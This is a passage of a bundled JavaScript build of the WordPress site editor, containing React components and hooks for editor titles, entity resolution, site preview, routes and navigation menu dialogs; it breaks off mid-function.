23668
23669
23670
23671const { getTemplateInfo } = unlock(external_wp_editor_namespaceObject.privateApis);
23672function useEditorTitle(postType, postId) {
23673 const { title, isLoaded } = (0,external_wp_data_.useSelect)(
23674 (select) => {
23675 const {
23676 getEditedEntityRecord,
23677 getCurrentTheme,
23678 hasFinishedResolution
23679 } = select(external_wp_coreData_namespaceObject.store);
23680 if (!postId) {
23681 return { isLoaded: false };
23682 }
23683 const _record = getEditedEntityRecord(
23684 "postType",
23685 postType,
23686 postId
23687 );
23688 const { default_template_types: templateTypes = [] } = getCurrentTheme() ?? {};
23689 const templateInfo = getTemplateInfo({
23690 template: _record,
23691 templateTypes
23692 });
23693 const _isLoaded = hasFinishedResolution("getEditedEntityRecord", [
23694 "postType",
23695 postType,
23696 postId
23697 ]);
23698 return {
23699 title: templateInfo.title,
23700 isLoaded: _isLoaded
23701 };
23702 },
23703 [postType, postId]
23704 );
23705 let editorTitle;
23706 if (isLoaded) {
23707 editorTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
23708 // translators: A breadcrumb trail for the Admin document title. 1: title of template being edited, 2: type of template (Template or Template Part).
23709 (0,external_wp_i18n_namespaceObject._x)("%1$s \u2039 %2$s", "breadcrumb trail"),
23710 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title),
23711 POST_TYPE_LABELS[postType] ?? POST_TYPE_LABELS[TEMPLATE_POST_TYPE]
23712 );
23713 }
23714 useTitle(isLoaded && editorTitle);
23715}
23716var use_editor_title_default = useEditorTitle;
23717
23718
23719;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-adapt-editor-to-canvas.js
23720
23721
23722
23723
23724
23725function useAdaptEditorToCanvas(canvas) {
23726 const { clearSelectedBlock } = (0,external_wp_data_.useDispatch)(external_wp_blockEditor_namespaceObject.store);
23727 const {
23728 setDeviceType,
23729 closePublishSidebar,
23730 setIsListViewOpened,
23731 setIsInserterOpened
23732 } = (0,external_wp_data_.useDispatch)(external_wp_editor_namespaceObject.store);
23733 const { get: getPreference } = (0,external_wp_data_.useSelect)(external_wp_preferences_.store);
23734 const registry = (0,external_wp_data_.useRegistry)();
23735 (0,external_wp_element_.useLayoutEffect)(() => {
23736 const isMediumOrBigger = window.matchMedia("(min-width: 782px)").matches;
23737 registry.batch(() => {
23738 clearSelectedBlock();
23739 setDeviceType("Desktop");
23740 closePublishSidebar();
23741 setIsInserterOpened(false);
23742 if (isMediumOrBigger && canvas === "edit" && getPreference("core", "showListViewByDefault") && !getPreference("core", "distractionFree")) {
23743 setIsListViewOpened(true);
23744 } else {
23745 setIsListViewOpened(false);
23746 }
23747 });
23748 }, [
23749 canvas,
23750 registry,
23751 clearSelectedBlock,
23752 setDeviceType,
23753 closePublishSidebar,
23754 setIsInserterOpened,
23755 setIsListViewOpened,
23756 getPreference
23757 ]);
23758}
23759
23760
23761;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-resolve-edited-entity.js
23762
23763
23764
23765
23766
23767
23768
23769const { useLocation: use_resolve_edited_entity_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
23770const postTypesWithoutParentTemplate = [
23771 TEMPLATE_POST_TYPE,
23772 TEMPLATE_PART_POST_TYPE,
23773 NAVIGATION_POST_TYPE,
23774 PATTERN_TYPES.user
23775];
23776const authorizedPostTypes = ["page", "post"];
23777function useResolveEditedEntity() {
23778 const { name, params = {}, query } = use_resolve_edited_entity_useLocation();
23779 const { postId = query?.postId } = params;
23780 let postType;
23781 if (name === "navigation-item") {
23782 postType = NAVIGATION_POST_TYPE;
23783 } else if (name === "pattern-item") {
23784 postType = PATTERN_TYPES.user;
23785 } else if (name === "template-part-item") {
23786 postType = TEMPLATE_PART_POST_TYPE;
23787 } else if (name === "template-item" || name === "templates") {
23788 postType = TEMPLATE_POST_TYPE;
23789 } else if (name === "page-item" || name === "pages") {
23790 postType = "page";
23791 } else if (name === "post-item" || name === "posts") {
23792 postType = "post";
23793 }
23794 const homePage = (0,external_wp_data_.useSelect)((select) => {
23795 const { getHomePage } = unlock(select(external_wp_coreData_namespaceObject.store));
23796 return getHomePage();
23797 }, []);
23798 const resolvedTemplateId = (0,external_wp_data_.useSelect)(
23799 (select) => {
23800 if (postTypesWithoutParentTemplate.includes(postType) && postId) {
23801 return;
23802 }
23803 if (postId && postId.includes(",")) {
23804 return;
23805 }
23806 const { getTemplateId } = unlock(select(external_wp_coreData_namespaceObject.store));
23807 if (postType && postId && authorizedPostTypes.includes(postType)) {
23808 return getTemplateId(postType, postId);
23809 }
23810 if (homePage?.postType === "page") {
23811 return getTemplateId("page", homePage?.postId);
23812 }
23813 if (homePage?.postType === "wp_template") {
23814 return homePage?.postId;
23815 }
23816 },
23817 [homePage, postId, postType]
23818 );
23819 const context = (0,external_wp_element_.useMemo)(() => {
23820 if (postTypesWithoutParentTemplate.includes(postType) && postId) {
23821 return {};
23822 }
23823 if (postType && postId && authorizedPostTypes.includes(postType)) {
23824 return { postType, postId };
23825 }
23826 if (homePage?.postType === "page") {
23827 return { postType: "page", postId: homePage?.postId };
23828 }
23829 return {};
23830 }, [homePage, postType, postId]);
23831 if (postTypesWithoutParentTemplate.includes(postType) && postId) {
23832 return { isReady: true, postType, postId, context };
23833 }
23834 if (!!homePage) {
23835 return {
23836 isReady: resolvedTemplateId !== void 0,
23837 postType: TEMPLATE_POST_TYPE,
23838 postId: resolvedTemplateId,
23839 context
23840 };
23841 }
23842 return { isReady: false };
23843}
23844function useSyncDeprecatedEntityIntoState({
23845 postType,
23846 postId,
23847 context,
23848 isReady
23849}) {
23850 const { setEditedEntity } = (0,external_wp_data_.useDispatch)(store);
23851 (0,external_wp_element_.useEffect)(() => {
23852 if (isReady) {
23853 setEditedEntity(postType, postId, context);
23854 }
23855 }, [isReady, postType, postId, context, setEditedEntity]);
23856}
23857
23858
23859;// ./node_modules/@wordpress/edit-site/build-module/components/editor/site-preview.js
23860
23861
23862
23863
23864
23865
23866function SitePreview() {
23867 const siteUrl = (0,external_wp_data_.useSelect)((select) => {
23868 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
23869 const siteData = getEntityRecord("root", "__unstableBase");
23870 return siteData?.home;
23871 }, []);
23872 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23873 "iframe",
23874 {
23875 src: (0,external_wp_url_namespaceObject.addQueryArgs)(siteUrl, {
23876 // Parameter for hiding the admin bar.
23877 wp_site_preview: 1
23878 }),
23879 title: (0,external_wp_i18n_namespaceObject.__)("Site Preview"),
23880 style: {
23881 display: "block",
23882 width: "100%",
23883 height: "100%",
23884 backgroundColor: "#fff"
23885 },
23886 onLoad: (event) => {
23887 const document = event.target.contentDocument;
23888 const focusableElements = external_wp_dom_namespaceObject.focus.focusable.find(document);
23889 focusableElements.forEach((element) => {
23890 element.style.pointerEvents = "none";
23891 element.tabIndex = -1;
23892 element.setAttribute("aria-hidden", "true");
23893 });
23894 }
23895 }
23896 );
23897}
23898
23899
23900;// ./node_modules/@wordpress/edit-site/build-module/components/editor/index.js
23901
23902
23903
23904
23905
23906
23907
23908
23909
23910
23911
23912
23913
23914
23915
23916
23917
23918
23919
23920
23921
23922
23923
23924
23925
23926
23927
23928
23929
23930
23931
23932
23933
23934
23935
23936
23937
23938const { Editor, BackButton } = unlock(external_wp_editor_namespaceObject.privateApis);
23939const { useHistory: editor_useHistory, useLocation: editor_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
23940const { BlockKeyboardShortcuts } = unlock(external_wp_blockLibrary_namespaceObject.privateApis);
23941const toggleHomeIconVariants = {
23942 edit: {
23943 opacity: 0,
23944 scale: 0.2
23945 },
23946 hover: {
23947 opacity: 1,
23948 scale: 1,
23949 clipPath: "inset( 22% round 2px )"
23950 }
23951};
23952const siteIconVariants = {
23953 edit: {
23954 clipPath: "inset(0% round 0px)"
23955 },
23956 hover: {
23957 clipPath: "inset( 22% round 2px )"
23958 },
23959 tap: {
23960 clipPath: "inset(0% round 0px)"
23961 }
23962};
23963function getListPathForPostType(postType) {
23964 switch (postType) {
23965 case "navigation":
23966 return "/navigation";
23967 case "wp_block":
23968 return "/pattern?postType=wp_block";
23969 case "wp_template_part":
23970 return "/pattern?postType=wp_template_part";
23971 case "wp_template":
23972 return "/template";
23973 case "page":
23974 return "/page";
23975 case "post":
23976 return "/";
23977 }
23978 throw "Unknown post type";
23979}
23980function getNavigationPath(location, postType) {
23981 const { path, name } = location;
23982 if ([
23983 "pattern-item",
23984 "template-part-item",
23985 "page-item",
23986 "template-item",
23987 "post-item"
23988 ].includes(name)) {
23989 return getListPathForPostType(postType);
23990 }
23991 return (0,external_wp_url_namespaceObject.addQueryArgs)(path, { canvas: void 0 });
23992}
23993function EditSiteEditor({
23994 isHomeRoute = false,
23995 isPostsList = false
23996}) {
23997 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
23998 const location = editor_useLocation();
23999 const { canvas = "view" } = location.query;
24000 const isLoading = useIsSiteEditorLoading();
24001 useAdaptEditorToCanvas(canvas);
24002 const entity = useResolveEditedEntity();
24003 useSyncDeprecatedEntityIntoState(entity);
24004 const { postType, postId, context } = entity;
24005 const {
24006 isBlockBasedTheme,
24007 editorCanvasView,
24008 currentPostIsTrashed,
24009 hasSiteIcon
24010 } = (0,external_wp_data_.useSelect)((select) => {
24011 const { getEditorCanvasContainerView } = unlock(
24012 select(store)
24013 );
24014 const { getCurrentTheme, getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
24015 const siteData = getEntityRecord("root", "__unstableBase", void 0);
24016 return {
24017 isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
24018 editorCanvasView: getEditorCanvasContainerView(),
24019 currentPostIsTrashed: select(external_wp_editor_namespaceObject.store).getCurrentPostAttribute("status") === "trash",
24020 hasSiteIcon: !!siteData?.site_icon_url
24021 };
24022 }, []);
24023 const postWithTemplate = !!context?.postId;
24024 use_editor_title_default(
24025 postWithTemplate ? context.postType : postType,
24026 postWithTemplate ? context.postId : postId
24027 );
24028 const _isPreviewingTheme = isPreviewingTheme();
24029 const hasDefaultEditorCanvasView = !useHasEditorCanvasContainer();
24030 const iframeProps = useEditorIframeProps();
24031 const isEditMode = canvas === "edit";
24032 const loadingProgressId = (0,external_wp_compose_namespaceObject.useInstanceId)(
24033 CanvasLoader,
24034 "edit-site-editor__loading-progress"
24035 );
24036 const settings = useSpecificEditorSettings();
24037 const styles = (0,external_wp_element_.useMemo)(
24038 () => [
24039 ...settings.styles,
24040 {
24041 // Forming a "block formatting context" to prevent margin collapsing.
24042 // @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
24043 css: canvas === "view" ? `body{min-height: 100vh; ${currentPostIsTrashed ? "" : "cursor: pointer;"}}` : void 0
24044 }
24045 ],
24046 [settings.styles, canvas, currentPostIsTrashed]
24047 );
24048 const { resetZoomLevel } = unlock((0,external_wp_data_.useDispatch)(external_wp_blockEditor_namespaceObject.store));
24049 const { createSuccessNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
24050 const history = editor_useHistory();
24051 const onActionPerformed = (0,external_wp_element_.useCallback)(
24052 (actionId, items) => {
24053 switch (actionId) {
24054 case "move-to-trash":
24055 case "delete-post":
24056 {
24057 history.navigate(
24058 getListPathForPostType(
24059 postWithTemplate ? context.postType : postType
24060 )
24061 );
24062 }
24063 break;
24064 case "duplicate-post":
24065 {
24066 const newItem = items[0];
24067 const _title = typeof newItem.title === "string" ? newItem.title : newItem.title?.rendered;
24068 createSuccessNotice(
24069 (0,external_wp_i18n_namespaceObject.sprintf)(
24070 // translators: %s: Title of the created post or template, e.g: "Hello world".
24071 (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'),
24072 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(_title) || (0,external_wp_i18n_namespaceObject.__)("(no title)")
24073 ),
24074 {
24075 type: "snackbar",
24076 id: "duplicate-post-action",
24077 actions: [
24078 {
24079 label: (0,external_wp_i18n_namespaceObject.__)("Edit"),
24080 onClick: () => {
24081 history.navigate(
24082 `/${newItem.type}/${newItem.id}?canvas=edit`
24083 );
24084 }
24085 }
24086 ]
24087 }
24088 );
24089 }
24090 break;
24091 }
24092 },
24093 [
24094 postType,
24095 context?.postType,
24096 postWithTemplate,
24097 history,
24098 createSuccessNotice
24099 ]
24100 );
24101 const title = getEditorCanvasContainerTitle(editorCanvasView);
24102 const isReady = !isLoading;
24103 const transition = {
24104 duration: disableMotion ? 0 : 0.2
24105 };
24106 return !isBlockBasedTheme && isHomeRoute ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SitePreview, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24107 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24108 GlobalStylesRenderer,
24109 {
24110 disableRootPadding: postType !== TEMPLATE_POST_TYPE
24111 }
24112 ),
24113 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorKeyboardShortcutsRegister, {}),
24114 isEditMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}),
24115 !isReady ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CanvasLoader, { id: loadingProgressId }) : null,
24116 isEditMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24117 WelcomeGuide,
24118 {
24119 postType: postWithTemplate ? context.postType : postType
24120 }
24121 ),
24122 isReady && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
24123 Editor,
24124 {
24125 postType: postWithTemplate ? context.postType : postType,
24126 postId: postWithTemplate ? context.postId : postId,
24127 templateId: postWithTemplate ? postId : void 0,
24128 settings,
24129 className: "edit-site-editor__editor-interface",
24130 styles,
24131 customSaveButton: _isPreviewingTheme && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveButton, { size: "compact" }),
24132 customSavePanel: _isPreviewingTheme && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {}),
24133 forceDisableBlockTools: !hasDefaultEditorCanvasView,
24134 title,
24135 iframeProps,
24136 onActionPerformed,
24137 extraSidebarPanels: !postWithTemplate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_template_setting_panel_default.Slot, {}),
24138 children: [
24139 isEditMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BackButton, { children: ({ length }) => length <= 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
24140 external_wp_components_namespaceObject.__unstableMotion.div,
24141 {
24142 className: "edit-site-editor__view-mode-toggle",
24143 transition,
24144 animate: "edit",
24145 initial: "edit",
24146 whileHover: "hover",
24147 whileTap: "tap",
24148 children: [
24149 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24150 external_wp_components_namespaceObject.Button,
24151 {
24152 __next40pxDefaultSize: true,
24153 label: (0,external_wp_i18n_namespaceObject.__)("Open Navigation"),
24154 showTooltip: true,
24155 tooltipPosition: "middle right",
24156 onClick: () => {
24157 resetZoomLevel();
24158 if (isPostsList && location.query?.focusMode) {
24159 history.navigate("/", {
24160 transition: "canvas-mode-view-transition"
24161 });
24162 } else {
24163 history.navigate(
24164 getNavigationPath(
24165 location,
24166 postWithTemplate ? context.postType : postType
24167 ),
24168 {
24169 transition: "canvas-mode-view-transition"
24170 }
24171 );
24172 }
24173 },
24174 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24175 external_wp_components_namespaceObject.__unstableMotion.div,
24176 {
24177 variants: siteIconVariants,
24178 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon_default, { className: "edit-site-editor__view-mode-toggle-icon" })
24179 }
24180 )
24181 }
24182 ),
24183 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24184 external_wp_components_namespaceObject.__unstableMotion.div,
24185 {
24186 className: dist_clsx(
24187 "edit-site-editor__back-icon",
24188 {
24189 "has-site-icon": hasSiteIcon
24190 }
24191 ),
24192 variants: toggleHomeIconVariants,
24193 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: arrow_up_left_default })
24194 }
24195 )
24196 ]
24197 }
24198 ) }),
24199 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {}),
24200 isBlockBasedTheme && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesSidebar, {})
24201 ]
24202 }
24203 )
24204 ] });
24205}
24206
24207
24208;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/utils.js
24209function isClassicThemeWithStyleBookSupport(siteData) {
24210 const isBlockTheme = siteData.currentTheme?.is_block_theme;
24211 const supportsEditorStyles = siteData.currentTheme?.theme_supports["editor-styles"];
24212 const hasThemeJson = siteData.editorSettings?.supportsLayout;
24213 return !isBlockTheme && (supportsEditorStyles || hasThemeJson);
24214}
24215
24216
24217;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/home.js
24218
24219
24220
24221
24222
24223const homeRoute = {
24224 name: "home",
24225 path: "/",
24226 areas: {
24227 sidebar({ siteData }) {
24228 const isBlockTheme = siteData.currentTheme?.is_block_theme;
24229 return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
24230 },
24231 preview({ siteData }) {
24232 const isBlockTheme = siteData.currentTheme?.is_block_theme;
24233 return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, { isHomeRoute: true }) : void 0;
24234 },
24235 mobile({ siteData }) {
24236 const isBlockTheme = siteData.currentTheme?.is_block_theme;
24237 return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
24238 }
24239 }
24240};
24241
24242
24243;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/styles.js
24244
24245
24246
24247
24248
24249
24250
24251const { useLocation: styles_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
24252function MobileGlobalStylesUI() {
24253 const { query = {} } = styles_useLocation();
24254 const { canvas } = query;
24255 if (canvas === "edit") {
24256 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {});
24257 }
24258 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesUIWrapper, {});
24259}
24260const stylesRoute = {
24261 name: "styles",
24262 path: "/styles",
24263 areas: {
24264 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesUIWrapper, {}),
24265 sidebar: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenGlobalStyles, { backPath: "/" }),
24266 preview({ query }) {
24267 const isStylebook = query.preview === "stylebook";
24268 return isStylebook ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {});
24269 },
24270 mobile: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileGlobalStylesUI, {})
24271 },
24272 widths: {
24273 content: 380
24274 }
24275};
24276
24277
24278;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/constants.js
24279const PRELOADED_NAVIGATION_MENUS_QUERY = {
24280 per_page: 100,
24281 status: ["publish", "draft"],
24282 order: "desc",
24283 orderby: "date"
24284};
24285
24286
24287;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/rename-modal.js
24288
24289
24290
24291
24292const notEmptyString = (testString) => testString?.trim()?.length > 0;
24293function RenameModal({ menuTitle, onClose, onSave }) {
24294 const [editedMenuTitle, setEditedMenuTitle] = (0,external_wp_element_.useState)(menuTitle);
24295 const titleHasChanged = editedMenuTitle !== menuTitle;
24296 const isEditedMenuTitleValid = titleHasChanged && notEmptyString(editedMenuTitle);
24297 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24298 external_wp_components_namespaceObject.Modal,
24299 {
24300 title: (0,external_wp_i18n_namespaceObject.__)("Rename"),
24301 onRequestClose: onClose,
24302 focusOnMount: "firstContentElement",
24303 size: "small",
24304 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { className: "sidebar-navigation__rename-modal-form", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "3", children: [
24305 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24306 external_wp_components_namespaceObject.TextControl,
24307 {
24308 __nextHasNoMarginBottom: true,
24309 __next40pxDefaultSize: true,
24310 value: editedMenuTitle,
24311 placeholder: (0,external_wp_i18n_namespaceObject.__)("Navigation title"),
24312 onChange: setEditedMenuTitle,
24313 label: (0,external_wp_i18n_namespaceObject.__)("Name")
24314 }
24315 ),
24316 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
24317 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24318 external_wp_components_namespaceObject.Button,
24319 {
24320 __next40pxDefaultSize: true,
24321 variant: "tertiary",
24322 onClick: onClose,
24323 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
24324 }
24325 ),
24326 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24327 external_wp_components_namespaceObject.Button,
24328 {
24329 __next40pxDefaultSize: true,
24330 accessibleWhenDisabled: true,
24331 disabled: !isEditedMenuTitleValid,
24332 variant: "primary",
24333 type: "submit",
24334 onClick: (e) => {
24335 e.preventDefault();
24336 if (!isEditedMenuTitleValid) {
24337 return;
24338 }
24339 onSave({ title: editedMenuTitle });
24340 onClose();
24341 },
24342 children: (0,external_wp_i18n_namespaceObject.__)("Save")
24343 }
24344 )
24345 ] })
24346 ] }) })
24347 }
24348 );
24349}
24350
24351
24352;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/delete-confirm-dialog.js
24353
24354
24355
24356function DeleteConfirmDialog({ onClose, onConfirm }) {
24357 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24358 external_wp_components_namespaceObject.__experimentalConfirmDialog,
24359 {
24360 isOpen: true,
24361 onConfirm: () => {
24362 onConfirm();
24363 onClose();
24364 },
24365 onCancel: onClose,
24366 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Delete"),
24367 size: "medium",
24368 children: (0,external_wp_i18n_namespaceObject.__)("Are you sure you want to delete this Navigation Menu?")
24369 }
24370 );
24371}
24372
24373
24374;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/more-menu.js
24375
24376
24377
24378
24379
24380
24381
24382
24383
24384const { useHistory: more_menu_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
24385const POPOVER_PROPS = {
24386 position: "bottom right"
24387};
24388function ScreenNavigationMoreMenu(props) {
24389 const { onDelete, onSave, onDuplicate, menuTitle, menuId } = props;
24390 const [renameModalOpen, setRenameModalOpen] = (0,external_wp_element_.useState)(false);
24391 const [deleteConfirmDialogOpen, setDeleteConfirmDialogOpen] = (0,external_wp_element_.useState)(false);
24392 const history = more_menu_useHistory();
24393 const closeModals = () => {
24394 setRenameModalOpen(false);
24395 setDeleteConfirmDialogOpen(false);
24396 };
24397 const openRenameModal = () => setRenameModalOpen(true);
24398 const openDeleteConfirmDialog = () => setDeleteConfirmDialogOpen(true);
24399 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24400 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24401 external_wp_components_namespaceObject.DropdownMenu,
24402 {
24403 className: "sidebar-navigation__more-menu",
24404 label: (0,external_wp_i18n_namespaceObject.__)("Actions"),
24405 icon: more_vertical_default,
24406 popoverProps: POPOVER_PROPS,
24407 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
24408 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24409 external_wp_components_namespaceObject.MenuItem,
24410 {
24411 onClick: () => {
24412 openRenameModal();
24413 onClose();
24414 },
24415 children: (0,external_wp_i18n_namespaceObject.__)("Rename")
24416 }
24417 ),
24418 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24419 external_wp_components_namespaceObject.MenuItem,
24420 {
24421 onClick: () => {
24422 history.navigate(
24423 `/wp_navigation/${menuId}?canvas=edit`
24424 );
24425 },
24426 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
24427 }
24428 ),
24429 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24430 external_wp_components_namespaceObject.MenuItem,
24431 {
24432 onClick: () => {
24433 onDuplicate();
24434 onClose();
24435 },
24436 children: (0,external_wp_i18n_namespaceObject.__)("Duplicate")
24437 }
24438 ),
24439 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24440 external_wp_components_namespaceObject.MenuItem,
24441 {
24442 isDestructive: true,
24443 onClick: () => {
24444 openDeleteConfirmDialog();
24445 onClose();
24446 },
24447 children: (0,external_wp_i18n_namespaceObject.__)("Delete")
24448 }
24449 )
24450 ] })
24451 }
24452 ),
24453 deleteConfirmDialogOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24454 DeleteConfirmDialog,
24455 {
24456 onClose: closeModals,
24457 onConfirm: onDelete
24458 }
24459 ),
24460 renameModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24461 RenameModal,
24462 {
24463 onClose: closeModals,
24464 menuTitle,
24465 onSave
24466 }
24467 )
24468 ] });
24469}
24470
24471
24472;// ./node_modules/@wordpress/icons/build-module/library/chevron-up.js
24473
24474
24475var chevron_up_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z" }) });
24476
24477
24478;// ./node_modules/@wordpress/icons/build-module/library/chevron-down.js
24479
24480
24481var chevron_down_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" }) });
24482
24483
24484;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/leaf-more-menu.js
24485
24486
24487
24488
24489
24490
24491
24492
24493const leaf_more_menu_POPOVER_PROPS = {
24494 className: "block-editor-block-settings-menu__popover",
24495 placement: "bottom-start"
24496};
24497
24498const { useHistory: leaf_more_menu_useHistory, useLocation: leaf_more_menu_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
24499function LeafMoreMenu(props) {
24500 const history = leaf_more_menu_useHistory();
24501 const { path } = leaf_more_menu_useLocation();
24502 const { block } = props;
24503 const { clientId } = block;
24504 const { moveBlocksDown, moveBlocksUp, removeBlocks } = (0,external_wp_data_.useDispatch)(external_wp_blockEditor_namespaceObject.store);
24505 const removeLabel = (0,external_wp_i18n_namespaceObject.sprintf)(
24506 /* translators: %s: block name */
24507 (0,external_wp_i18n_namespaceObject.__)("Remove %s"),
24508 (0,external_wp_blockEditor_namespaceObject.BlockTitle)({ clientId, maximumLength: 25 })
24509 );
24510 const goToLabel = (0,external_wp_i18n_namespaceObject.sprintf)(
24511 /* translators: %s: block name */
24512 (0,external_wp_i18n_namespaceObject.__)("Go to %s"),
24513 (0,external_wp_blockEditor_namespaceObject.BlockTitle)({ clientId, maximumLength: 25 })
24514 );
24515 const rootClientId = (0,external_wp_data_.useSelect)(
24516 (select) => {
24517 const { getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store);
24518 return getBlockRootClientId(clientId);
24519 },
24520 [clientId]
24521 );
24522 const onGoToPage = (0,external_wp_element_.useCallback)(
24523 (selectedBlock) => {
24524 const { attributes, name } = selectedBlock;
24525 if (attributes.kind === "post-type" && attributes.id && attributes.type && history) {
24526 history.navigate(
